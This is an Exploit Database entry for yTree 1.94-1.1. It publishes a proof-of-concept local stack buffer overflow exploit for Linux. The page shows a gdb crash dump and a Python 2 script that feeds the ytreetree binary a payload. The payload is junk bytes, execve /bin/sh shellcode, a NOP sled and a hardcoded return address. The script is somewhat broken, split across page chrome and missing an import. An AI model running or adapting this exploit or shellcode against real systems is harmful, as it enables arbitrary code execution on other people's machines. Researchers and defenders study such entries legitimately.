



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

yTree 1.94-1.1 - Local Buffer Overflow (PoC)

EDB-ID:

39406

CVE:

N/A

EDB Verified: ✗

Author:

[JUAN SACCO](#)

Type:

[DOS](#)

Exploit:   / 

Platform:

[LINUX](#)

Date:

2016-02-03

Vulnerable App: 





EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

```

# Exploit Author: Juan Sacco - http://www.exploitpack.com -
jsacco@exploitpack.com
# Program affected: yTree - File manager for terminals v1.94-1.1
# Description: yTree is prone to a stack-based overflow, an attacker could
exploit
# this issue to execute arbitrary code in the context of the application.
# Failed exploit attempts will result in a denial-of-service condition.
#
# Tested and developed on: Kali Linux 2.0 x86 - https://www.kali.org
#
# Program Description: This is a file manager that separates files from
directories
# and allows you to select and manage files from different directories.
# It works on black and white or color terminals and is UTF-8 locales
aware.
# Vendor homepage: http://www.han.de/~werner/ytreetree.html
# Kali Linux 2.0 package: pool/main/y/ytreetree/ytreetree_1.94-1.1_i386.deb
# MD5sum: 7d55d9c7e8afb4405c149463613f596b
#
# Program received signal SIGSEGV, Segmentation fault.
# -----
-[regs]
#  EAX: 0x41414141  EBX: 0xB7FB8000  ECX: 0x00000000  EDX: 0x08071342  o d
I t s z a P c
#  ESI: 0xBFFFFFF134  EDI: 0x41414141  EBP: 0x0806FC60  ESP: 0xBFFFDC50
EIP: 0xB7F888C1
#  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
# -----
-[code]
# => 0xb7f888c1 <werase+49>: mov     eax, DWORD PTR [eax+0x4c]
# 0xb7f888c4 <werase+52>: mov     DWORD PTR [esp+0x24], eax
# 0xb7f888c8 <werase+56>: mov     eax, DWORD PTR [edi+0x50]
# 0xb7f888cb <werase+59>: mov     DWORD PTR [esp+0x28], eax
# 0xb7f888cf <werase+63>: mov     eax, DWORD PTR [edi+0x54]
# 0xb7f888d2 <werase+66>: mov     DWORD PTR [esp+0x2c], eax
# 0xb7f888d6 <werase+70>: mov     eax, DWORD PTR [edi+0x58]
# 0xb7f888d9 <werase+73>: mov     DWORD PTR [esp+0x30], eax
# -----
-----
# 0xb7f888c1 in werase () from /lib/i386-linux-gnu/libncursesw.so.5
# gdb$ backtrace
# 0  0xb7f888c1 in werase () from /lib/i386-linux-gnu/libncursesw.so.5
# 1  0x08050f43 in ?? ()
# 2  0x08051182 in ?? ()
# 3  0x0805972f in ?? ()
# 4  0x0804a68a in ?? ()
# 5  0xb7d82a63 in __libc_start_main (main=0x804a560, argc=0x2,
argv=0xbffff294, init=0x8064df0, fini=0x8064de0, rtdl_fini=0xb7fedc90
<_dl_fini>, stack_end=0xbffff28c) at libc-start.c:287
# 6  0x0804a701 in ?? ()

import os, subprocess
def run():
    try:
        print "# yTree Buffer Overflow by Juan Sacco"
        print "# It's fuzzing time on unusable exploits"
        print "# This exploit is for educational purposes only"
        # JUNK + SHELLCODE + NOPS + EIP

        junk = "\x41"*65
        shellcode =
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
        nops = "\x90"*1200
        eip = "\xd0\xf6\xff\xbf"
        subprocess.call(["ytreetree", ' ', junk + shellcode + nops + eip])

    except OSError as e:

```

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```

if e.errno == os.errno.ENOENT:
    print "Sorry, yTree not found!"
else:
    print "Error executing exploit"
    raise

def howtousage():
    print "Snap! Something went wrong"
    sys.exit(-1)

if __name__ == '__main__':
    try:
        print "Exploit yTree v1.94-1.1 Local Overflow Exploit"
        print "Author: Juan Sacco"
    except IndexError:
        howtousage()
run()

```

Tags:

Advisory/Source: [Link](#)



Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#)



[OffSec Services Limited](#) 2026. All rights reserved.